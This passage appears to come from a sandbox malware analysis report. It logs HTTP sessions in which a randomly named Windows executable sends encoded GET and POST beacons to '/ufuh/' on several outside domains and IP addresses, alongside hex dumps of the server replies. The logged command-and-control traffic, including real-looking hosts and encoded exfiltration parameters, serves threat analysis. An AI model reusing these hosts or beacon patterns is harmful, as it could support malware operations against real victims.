f9 43 d2 fa 3f a4 aa 9b 8f 1e 0e e7 b1 0f 1d 10 20 6b ed ec b0 bb ba aa ba ba aa ba aa 9b dd de dd 78 fb e1 fd c7 bf 7e ff 01 19 27 13 6f ef 47 37 76 f1 2f f1 a8 3f ea 2b 2f 02 ed af 1f 29 bc 90 51 07 fe be b5 3b 61 09 25 f6 98 46 31 4b fa ca 07 8f df d1 ba 4a 51 e1 d3 09 eb 2b 87 2e 3b 0a 83 28 51 88 1d f8 09 f3 01 f0 c8 75 92 71 df 61 87 ae cd 34 fe a0 12 d7 77 13 97 7a 5a 6c 53 8f f5 4d 81 c6 73 fd 17 24 62 5e 5f 09 a3 60 e8 7a 4c 21 e3 88 0d fb ca 38 49 c2 5e a3 31 9a 84 23 3d 88 46 8d e3 a1 df 30 cd 32 ed cd 28 18 04 49 bc 99 53 de f4 03 d7 77 d8 b1 4a 86 81 e7 05 47 9b a4 b1 77 03 9a 6c 68 1a 79 3c 76 63 12 bb 09 23 f0 37 08 13 77 e2 fe 86 39 e4 c8 4d c6 24 19 33 f2 eb 80 c6 09 d9 7f f0 90 84 de 74 e4 fa e4 d0 b2 74 93 68 04 [TRUNCATED] Data Ascii: 19e3=kFr-C/igN$<vvvgu:Ys;Z$,zJ&9\b`00r\| C? kx~'oG7v/?+/)Q;a%F1KJQ+.;(Quqa4wzZlSMs$b^_`zL!8I^1#=F02(ISwJGwlhy<vc#7w9M$3tthy`8"'X7hY 7t$wxxy~/^'<hd(9+(0I/&X8$A_HQj(qj<aB4q9w<}c&TE4+{O8D)TEU~" {Oi`XJM"/#64A%noi7Ua+Z\|_s12_wAEFs3BUX$:y!=}&Gs&qp)E>&3UqLA+gjCK+\kPYLNF9UT#"RB-54ZBhyWo?QSY*m+NT1sGcf{L0y7n
May 2, 2024 08:28:39.598010063 CEST	1289	IN	Data Raw: 79 c8 12 7b bc 29 26 92 cd 19 7a 7c 3a 58 d9 60 08 b2 8b f5 51 10 8c 3c 46 43 37 46 97 5f 6a a9 50 0f 54 de 47 73 aa f0 6f 51 1c df 39 9e 78 50 85 ce 78 a9 ab 24 b7 23 fa e1 34 d8 21 3f 7c fe df af 3f fb 4a 9e fe ca b2 1a 32 e6 34 94 37 cd c7 eb Data Ascii: y{)&z\|:X`Q<FC7F_jPTGsoQ9xPx$#4!?\|?J247O?{kB2_3}w9=T1xr{=!?n8:8B6,IONOO~P)iln<mlY[SC1y.rl@9F6o068o%i=Et}:Hy
May 2, 2024 08:28:39.598072052 CEST	1289	IN	Data Raw: 67 da ab c2 9c 37 40 09 51 75 ab 5a 14 c6 5b 8d b1 a8 2f e1 ae ef 5c 19 df 86 04 81 8c 42 4f c1 1d a0 37 3e e9 6f 98 f0 14 e1 d7 fb d4 f3 06 d4 7e 21 db ba 0c 68 9c cd 89 b5 88 63 2a aa b8 d2 56 33 ff d1 47 b5 12 51 18 d7 1a c3 9e f0 30 fc a3 8f Data Ascii: g7@QuZ[/\BO7>o~!hc*V3GQ0R ~7xo[8J.}BMVY]]1Z'aP^qrC~^CBf63Z0OT99[=lc-SAeI{dR]
May 2, 2024 08:28:39.598154068 CEST	1289	IN	Data Raw: c2 60 84 4c 66 b0 04 47 64 8f e8 3c b9 f3 d8 30 39 85 12 8a a6 08 df 77 44 6a 98 c5 dc 71 02 49 16 60 2a 15 33 4c fa ac 95 c8 23 34 f1 0c 3b 7f a8 46 8f 98 2a 08 18 2b d0 db e0 2f 58 74 9a b6 44 ee 7b 3c c1 92 13 ce b4 32 12 ce a6 5c 3b 87 df 0e Data Ascii: `LfGd<09wDjqI`3L#4;F+/XtD{<2\;8(QT7.T!Kj3+WOZ\qH0!r;o1<U+;>~i~hG-~p46'0qn4_APpO0e<g9}H?vG4Su\jZ
May 2, 2024 08:28:39.598165989 CEST	1289	IN	Data Raw: ce af 8f 11 97 d0 d0 ac 22 7e e1 86 1a 57 30 71 98 4b c3 53 2a 98 de e2 e9 f3 54 bb 6e 4e a8 eb 2b 7b fb 00 4a 92 20 1b dc dd 06 e5 82 e0 d7 ed b0 88 d3 9c d0 38 c1 c7 9c 2e f7 11 29 80 42 a2 00 fd d5 80 fa e0 72 14 d1 18 b9 cd 78 e4 60 4a 2a dd Data Ascii: "~W0qKSTnN+{J 8.)Brx`Jed#/@W~zgs!-f@Fgdr^PbM-4*\J:#[H4aRQ84a]\V]QB<G#'~D'-M}$uGA$ylAQ{k.@
May 2, 2024 08:28:39.598189116 CEST	593	IN	Data Raw: e5 f7 e7 ff f4 f9 46 65 b8 9d 7d 2e 19 c1 d6 ff d5 11 14 f7 5e 8a 41 0c 16 0e 62 76 e9 a5 c8 0f 57 00 1d 1c a4 df 30 93 c2 3b 50 3c 86 0e 11 17 4d d7 6e aa e1 62 b1 b2 44 2b e6 5b 88 65 b3 eb 52 8d 9b 19 5a b3 5a 49 ce bf fe 92 5c 84 3b 3a 05 ef Data Ascii: Fe}.^AbvW0;P<MnbD+[eRZZI\;:/={?1>~o*IQkwB(fji1j9N+e0^Db\|>V^N+"U"?JUE(!5D,0XJM_~\|]wq<
May 2, 2024 08:28:39.598491907 CEST	20	IN	Data Raw: 61 0d 0a 03 00 09 83 4c 10 53 64 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: aLSd0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.22	49185	183.111.183.31	80	2848	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 08:28:41.519541979 CEST	464	OUT	GET /ufuh/?pl=dHCsNlEiGcw6UpYNsSDwUGw5CVcYr5PGduxYMR+z/FEUJE9molBo2WPCHkLm6APtf7MOscmEgy++mrhWyRAZYaHU6QWLXqtmVhlHsy7bZNd62MlyuoEIWFEUa6hs&5h1t=6H6PKFvXjtI4u8k HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close Host: www.mrart.co.kr User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
May 2, 2024 08:28:42.050122976 CEST	502	IN	HTTP/1.1 301 Moved Permanently Server: openresty Date: Thu, 02 May 2024 06:28:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Vary: Accept-Encoding,Cookie Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: http://mrart.co.kr/ufuh/?pl=dHCsNlEiGcw6UpYNsSDwUGw5CVcYr5PGduxYMR+z/FEUJE9molBo2WPCHkLm6APtf7MOscmEgy++mrhWyRAZYaHU6QWLXqtmVhlHsy7bZNd62MlyuoEIWFEUa6hs&5h1t=6H6PKFvXjtI4u8k

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.22	49186	67.223.117.189	80	2848	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 08:28:47.335522890 CEST	2578	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 2159 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.touchclean.top Origin: http://www.touchclean.top Referer: http://www.touchclean.top/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 70 6c 3d 4e 2b 33 77 63 4a 70 43 55 69 65 51 4c 33 67 4f 52 46 57 43 64 35 35 4f 33 2f 35 73 4b 4e 6e 56 30 68 51 30 46 53 39 43 43 4c 64 69 37 52 33 78 49 47 50 35 54 70 55 67 63 49 64 53 33 55 5a 4f 33 64 47 65 71 59 61 72 6c 30 6e 77 4f 57 77 37 52 35 4d 50 35 54 59 73 43 57 6d 77 6f 66 4c 43 6f 4a 4d 37 6c 50 73 41 54 55 33 47 4a 30 4f 5a 6f 4d 7a 37 35 58 58 74 5a 30 38 38 75 33 73 38 78 55 32 34 57 64 71 4a 6a 47 37 62 79 64 63 47 65 52 6e 6e 72 46 6d 53 72 72 74 2b 41 2f 67 6b 4a 35 37 39 6f 7a 75 2b 4f 66 71 74 47 2b 75 47 65 59 35 45 73 30 5a 44 61 42 44 30 32 31 62 46 2b 34 41 79 4e 72 64 4a 39 46 39 4d 31 56 4f 39 67 68 4a 36 47 62 6d 78 41 6c 36 75 4b 4b 46 6b 5a 45 31 62 62 48 70 55 4a 62 63 68 4d 49 43 6e 51 6c 39 39 4e 36 43 7a 75 43 47 4e 6f 35 42 6a 71 38 77 39 2f 4d 4c 44 36 78 77 2f 57 47 71 62 4f 58 34 4f 5a 34 61 4d 30 36 66 56 2b 7a 70 76 72 63 39 62 62 36 39 45 66 6e 52 73 50 74 35 73 53 45 66 74 59 43 35 5a 2b 31 2f 31 6c 73 57 58 4c 61 32 46 41 75 5a 33 52 2f 48 79 37 57 45 [TRUNCATED] Data Ascii: pl=N+3wcJpCUieQL3gORFWCd55O3/5sKNnV0hQ0FS9CCLdi7R3xIGP5TpUgcIdS3UZO3dGeqYarl0nwOWw7R5MP5TYsCWmwofLCoJM7lPsATU3GJ0OZoMz75XXtZ088u3s8xU24WdqJjG7bydcGeRnnrFmSrrt+A/gkJ579ozu+OfqtG+uGeY5Es0ZDaBD021bF+4AyNrdJ9F9M1VO9ghJ6GbmxAl6uKKFkZE1bbHpUJbchMICnQl99N6CzuCGNo5Bjq8w9/MLD6xw/WGqbOX4OZ4aM06fV+zpvrc9bb69EfnRsPt5sSEftYC5Z+1/1lsWXLa2FAuZ3R/Hy7WESbOz1rZEFypABPCaGayEwAKBD8xd60o+ipvesA9BfzY7jt9dL3paNfQADDGYgWP8Hc3iTrWR5knMZGM5G49+2PMnJIPiBJU90dam3KpYG9bFexFA8Ly4vAcFGwtMaKc4EQKzdEazV+rD9QLK7EEg2nPUVjaoQs0LTtNpoo7r5alOIAe6b9nkaa41uYAuXVsR80T5O1rkf6cstYxWCHdilWPE1jLFrfeq7NktM4fU27RdtFDX6kkunYeBRqbedpYg9gJdgjUxwokMm8GsDzLXYw496nor6ZuYD1HI4paFEOJLTWrrsB6MxTAXdE6uWtDfB0AKWqIjd740xhb8CyuS246kKYkY7rzZR5r9lj+JioYeLI5YDKjaHr7LtkiwxkpGPAEu8zQbitnPS+zeebPkqjWJ52bqPqrMM4iI+ePTFSZikjGtgl3P0K7XgB2DwGUaId+gCePcO7KxKlH6ldu16rRzpEdgY/1QNVKucSq4MXcv63hzHSBghooxq96g/ljmja3wt6v3vUB2kEelZZ3HvIyG1ORdR4pHh59LNVoQujcbMQltmBNDoGl9suF+3IuFVSRXntsrfGataSeb/xqy293xPwed1IAQs0ce2wDgLmwE7omMa7iaCN0krGqLhe61OzOTj9Sqi1gkuQp0Xj8fxy28I30/z17exS [TRUNCATED]
May 2, 2024 08:28:47.488858938 CEST	109	OUT	Data Raw: 43 42 53 68 4d 57 55 31 76 71 50 76 55 37 59 57 71 42 76 56 39 44 41 58 7a 39 4b 71 36 33 48 4c 54 51 55 73 6a 35 70 2b 66 37 56 74 37 5a 73 48 79 75 2f 45 5a 65 59 52 77 63 4a 64 70 41 74 42 50 67 37 34 41 31 42 54 58 70 66 77 70 69 63 66 73 2b Data Ascii: CBShMWU1vqPvU7YWqBvV9DAXz9Kq63HLTQUsj5p+f7Vt7ZsHyu/EZeYRwcJdpAtBPg74A1BTXpfwpicfs+UEtBYWbY1SauNxBES9zLrT68s6r
May 2, 2024 08:28:47.827896118 CEST	169	IN	HTTP/1.0 500 Internal Server Error Date: Thu, 02 May 2024 06:28:47 GMT Server: Apache Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.22	49187	67.223.117.189	80	2848	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 08:28:56.619167089 CEST	726	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 199 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.touchclean.top Origin: http://www.touchclean.top Referer: http://www.touchclean.top/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 70 6c 3d 4e 2b 33 77 63 4a 70 43 55 69 65 51 4c 77 30 4f 54 51 71 43 4d 70 35 4f 36 66 35 73 42 74 6e 54 30 68 64 4a 46 57 6c 73 42 36 56 69 37 41 48 78 49 55 6e 35 65 4a 55 6a 53 6f 64 57 7a 55 5a 62 33 64 47 34 71 5a 6d 72 6c 30 44 77 55 31 49 37 59 63 73 4f 37 6a 59 75 50 32 6d 7a 6f 66 33 78 6f 4a 42 6c 6c 50 30 41 54 55 48 47 49 33 32 5a 74 76 4c 37 39 6e 57 6d 52 55 38 52 75 33 78 6b 78 55 6d 4b 57 63 57 4a 6a 7a 6a 62 79 4d 38 47 55 69 50 6e 69 6c 6d 54 6c 4c 74 70 4f 71 42 56 47 5a 69 32 68 53 47 47 48 4f 66 4f 46 74 57 38 58 35 68 76 76 47 30 75 56 32 71 73 31 55 47 39 71 67 3d 3d Data Ascii: pl=N+3wcJpCUieQLw0OTQqCMp5O6f5sBtnT0hdJFWlsB6Vi7AHxIUn5eJUjSodWzUZb3dG4qZmrl0DwU1I7YcsO7jYuP2mzof3xoJBllP0ATUHGI32ZtvL79nWmRU8Ru3xkxUmKWcWJjzjbyM8GUiPnilmTlLtpOqBVGZi2hSGGHOfOFtW8X5hvvG0uV2qs1UG9qg==
May 2, 2024 08:28:56.909734964 CEST	169	IN	HTTP/1.0 500 Internal Server Error Date: Thu, 02 May 2024 06:28:56 GMT Server: Apache Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.22	49188	67.223.117.189	80	2848	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 08:28:59.305978060 CEST	2578	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 3623 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.touchclean.top Origin: http://www.touchclean.top Referer: http://www.touchclean.top/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 70 6c 3d 4e 2b 33 77 63 4a 70 43 55 69 65 51 45 77 45 4f 66 58 2b 43 63 35 35 4e 2f 66 35 73 4b 4e 6e 58 30 68 52 4a 46 53 39 43 43 4a 35 69 37 54 54 78 4d 47 50 35 53 70 55 6a 55 6f 64 53 33 55 5a 4e 33 64 43 30 71 59 57 52 6c 32 76 77 4f 55 59 37 52 2f 45 50 30 44 59 73 64 47 6d 79 6f 66 32 72 6f 4a 52 36 6c 4f 41 6d 54 55 66 47 49 43 43 5a 71 66 4c 36 79 48 57 6d 52 55 38 64 75 33 78 49 78 55 2b 53 57 59 36 6a 6a 42 4c 62 79 74 63 47 59 68 6e 67 67 6c 6d 58 76 72 74 34 41 2f 6c 46 4a 35 36 30 6f 7a 71 59 4f 66 6d 74 45 74 32 47 65 62 68 44 75 6b 5a 43 65 42 44 30 34 56 62 48 2b 34 41 2b 4e 72 64 4a 39 46 42 4d 31 46 4f 39 67 6c 6c 35 65 37 6d 78 44 6c 36 5a 4f 4b 41 66 5a 45 78 35 62 48 34 72 4f 73 6b 68 50 4f 75 6e 55 56 39 39 45 71 43 31 75 43 47 36 69 5a 42 5a 71 34 64 41 2f 49 75 47 36 78 77 2f 57 46 79 62 64 56 67 4f 65 6f 61 4d 35 61 66 59 6e 6a 70 73 72 63 35 74 62 36 35 45 66 6d 35 73 56 2f 68 73 62 6d 33 75 41 69 35 59 36 31 2f 7a 7a 63 57 43 4c 61 72 51 41 74 35 64 52 2b 33 79 37 55 38 [TRUNCATED] Data Ascii: pl=N+3wcJpCUieQEwEOfX+Cc55N/f5sKNnX0hRJFS9CCJ5i7TTxMGP5SpUjUodS3UZN3dC0qYWRl2vwOUY7R/EP0DYsdGmyof2roJR6lOAmTUfGICCZqfL6yHWmRU8du3xIxU+SWY6jjBLbytcGYhngglmXvrt4A/lFJ560ozqYOfmtEt2GebhDukZCeBD04VbH+4A+NrdJ9FBM1FO9gll5e7mxDl6ZOKAfZEx5bH4rOskhPOunUV99EqC1uCG6iZBZq4dA/IuG6xw/WFybdVgOeoaM5afYnjpsrc5tb65Efm5sV/hsbm3uAi5Y61/zzcWCLarQAt5dR+3y7U8SZvz1rJEGo5AFeSWCaxkOAKE08zZ629GijN2rcdBd0Y7lgddQ3puvfQgDC04gRMkHYE6QsmR+yXMoMs5S496uPN3ZI9qBIk90d5e0VJYJ37FEq1BjLy47Ae9wxZAaKcoERfHdEazW7rD/ZrWZEEsynOsFjfkQskbTtPRog7r5SFPBSe7q9kYsa4t+YQ6XUPJ82RRO9rkK28ssXRWbHdylWKFojLtrf/q7c2VMhPVeyxdEFDWBkkqrYeRBqZ6dpaY9x9pgt0xx70Mi4Gt1zLfIw4pAnpT6ZP4D5WI4o6F8TZLTZLr0B6UhTCTrE7mWtyPBlwKRnojc9I02q78qyuC246oKYkg7rCZRvIVl+eJgn4erRJUVKjK1r7i2kngxnb+PWSaz2gbg73PE1Te6bPlrjSFp2v2Pze4M7DI5RPTCEpio+WtEl3/OK/rwBBrwGUqIdrUCf/cO7KxFlH6hdu4LrUfDEdgY+h8NU42cK65nY8uklRzJSBkXoopE96M/l2qja3wi3/3sMR2jEegzZ3HRIyK1NnFR47Ph5bfNC4Quz8bNCltnBND4GkwruBq3JelVTT/kxMraWqsZFOXgxq2u92lP3pl1IRQs0se25DgUtQEunGxb7ivpN107TPXhMZNOxNrgoyqn6AkWQp4Sj8X5yz8+32Pz0bexU [TRUNCATED]
May 2, 2024 08:28:59.463784933 CEST	1573	OUT	Data Raw: 71 42 53 70 49 57 57 42 42 71 4b 37 55 37 61 2b 71 41 66 56 2b 45 77 57 5a 34 4b 71 38 33 43 54 2b 51 55 6b 4a 35 70 75 66 37 55 52 37 5a 49 6e 79 70 2f 45 5a 52 34 52 70 55 70 63 39 44 64 64 41 67 2f 31 51 6b 45 66 53 6f 50 55 55 6d 4d 72 4b 39 Data Ascii: qBSpIWWBBqK7U7a+qAfV+EwWZ4Kq83CT+QUkJ5puf7UR7ZInyp/EZR4RpUpc9DddAg/1QkEfSoPUUmMrK9lg0JZGkeUi4rfV5RUcHY/TIt8Po3sFAiHJqWq5Ks7QadhBzJc5PfDWSEfD70C05XfD2yTzzDi0HadesXnCFUpKvHvXeKUEXx6JKPcPCDV75GO5nHeHeqkvNnTnJLPb+Nltbo1f31bdBbqFYhIlfLN2fF3yLwS8piX
May 2, 2024 08:28:59.758326054 CEST	169	IN	HTTP/1.0 500 Internal Server Error Date: Thu, 02 May 2024 06:28:59 GMT Server: Apache Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.22	49189	67.223.117.189	80	2848	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 08:29:01.993967056 CEST	467	OUT	GET /ufuh/?pl=A8fQf/hISgzwL3oVRnqHbZBV/plXIsny1TYZTQxVDrtx1SbFVUn9YIU/QNlk/lJ+xLSyvfTMvWvwfwkJSN9/6ikOA0zWpJ/i6bk9+sgLcEv6BHfAlNSdkle4dEVn&5h1t=6H6PKFvXjtI4u8k HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close Host: www.touchclean.top User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
May 2, 2024 08:29:02.288319111 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Thu, 02 May 2024 06:29:02 GMT Server: Apache Content-Length: 32106 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Fables"> <meta name="author" content="Enterprise Development"> <link rel="shortcut icon" href="assets/custom/images/shortcut.png"> <title> 404</title> ... animate.css--> <link href="assets/vendor/animate.css-master/animate.min.css" rel="stylesheet"> ... Load Screen --> <link href="assets/vendor/loadscreen/css/spinkit.css" rel="stylesheet"> ... GOOGLE FONT --> <link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i" rel="stylesheet"> ... Font Awesome 5 --> <link href="assets/vendor/fontawesome/css/fontawesome-all.min.css" rel="stylesheet"> ... Fables Icons --> <link href="assets/custom/css/fables-icons.css" rel="stylesheet"> ... Bootstrap CSS --> <link href="assets/vendor/bootstrap/css/boo [TRUNCATED]
May 2, 2024 08:29:02.288368940 CEST	1289	IN	Data Raw: 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 41 4e 43 59 20 42 4f 58 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 66 61 6e 63 79 62 6f 78 2d 6d 61 73 74 65 72 2f 6a 71 75 65 72 79 2e 66 61 Data Ascii: t"> ... FANCY BOX --> <link href="assets/vendor/fancybox-master/jquery.fancybox.min.css" rel="stylesheet"> ... OWL CAROUSEL --> <link href="assets/vendor/owlcarousel/owl.carousel.min.css" rel="stylesheet"> <link href="as
May 2, 2024 08:29:02.288388968 CEST	1289	IN	Data Raw: 20 20 20 20 20 3c 2f 66 6f 72 6d 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 0a 3c 2f 64 69 76 3e 0a 0a 3c 21 2d 2d 20 4c 6f 61 64 69 6e 67 20 53 63 72 65 65 6e 20 2d 2d 3e 0a 3c 64 69 76 20 69 64 3d 22 6a 75 2d 6c 6f 61 64 Data Ascii: </form> </div> </div>... Loading Screen --><div id="ju-loading-screen"> <div class="sk-double-bounce"> <div class="sk-child sk-double-bounce1"></div> <div class="sk-child sk-double-bounce2"></div> </div></di
May 2, 2024 08:29:02.288479090 CEST	1289	IN	Data Raw: 73 72 63 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 46 72 61 6e 63 65 2e 70 6e 67 22 20 61 6c 74 3d 22 65 6e 67 6c 61 6e 64 20 66 6c 61 67 22 20 63 6c 61 73 73 3d 22 6d 72 2d 31 22 3e 20 46 72 65 6e 63 68 3c 2f 61 3e 20 Data Ascii: src="assets/custom/images/France.png" alt="england flag" class="mr-1"> French</a> </div> </div> </div> <div class="col-12 col-sm-5 col-lg-4 text-right">
May 2, 2024 08:29:02.288544893 CEST	1289	IN	Data Raw: 70 73 65 22 20 64 61 74 61 2d 74 61 72 67 65 74 3d 22 23 66 61 62 6c 65 73 4e 61 76 44 72 6f 70 64 6f 77 6e 22 20 61 72 69 61 2d 63 6f 6e 74 72 6f 6c 73 3d 22 66 61 62 6c 65 73 4e 61 76 44 72 6f 70 64 6f 77 6e 22 20 61 72 69 61 2d 65 78 70 61 6e Data Ascii: pse" data-target="#fablesNavDropdown" aria-controls="fablesNavDropdown" aria-expanded="false" aria-label="Toggle navigation"> <span class="fables-iconmenu-icon text-white font-16"></span>
May 2, 2024 08:29:02.288574934 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 75 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 0a 20 20 20 20 20 Data Ascii: </ul> </li> <li class="nav-item dropdown"> <a class="nav-link dropdown-toggle" href="#" id="sub-nav2"
May 2, 2024 08:29:02.288691044 CEST	1289	IN	Data Raw: 2e 68 74 6d 6c 22 3e 48 65 61 64 65 72 20 31 20 44 61 72 6b 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 22 20 68 72 65 66 3d 22 68 65 61 64 65 72 2d 6d 65 67 61 6d 65 6e 75 2e 68 74 Data Ascii: .html">Header 1 Dark</a></li><li><a class="dropdown-item" href="header-megamenu.html">Header Mega menu</a></li> </ul> </li>
May 2, 2024 08:29:02.288784981 CEST	1289	IN	Data Raw: 6e 73 70 61 72 65 6e 74 2e 68 74 6d 6c 22 3e 48 65 61 64 65 72 20 33 20 54 72 61 6e 73 70 61 72 65 6e 74 3c 2f 61 3e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: nsparent.html">Header 3 Transparent</a></li> <li><a class="dropdown-item" href="header3-light.html">Header 3 Light</a></li>
May 2, 2024 08:29:02.288888931 CEST	1289	IN	Data Raw: 65 66 3d 22 23 22 3e 48 65 61 64 65 72 20 35 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 75 6c 20 63 6c Data Ascii: ef="#">Header 5</a> <ul class="dropdown-menu"> <li><a class="dropdown-item" href="header5-transparent.html">Header 5 Transparen
May 2, 2024 08:29:02.288908005 CEST	1289	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 Data Ascii: <li><a class="dropdown-item" href="Footer1-light.html">Footer 1 Light</a></li> <li><a class="dropdown-item" href="Footer1-
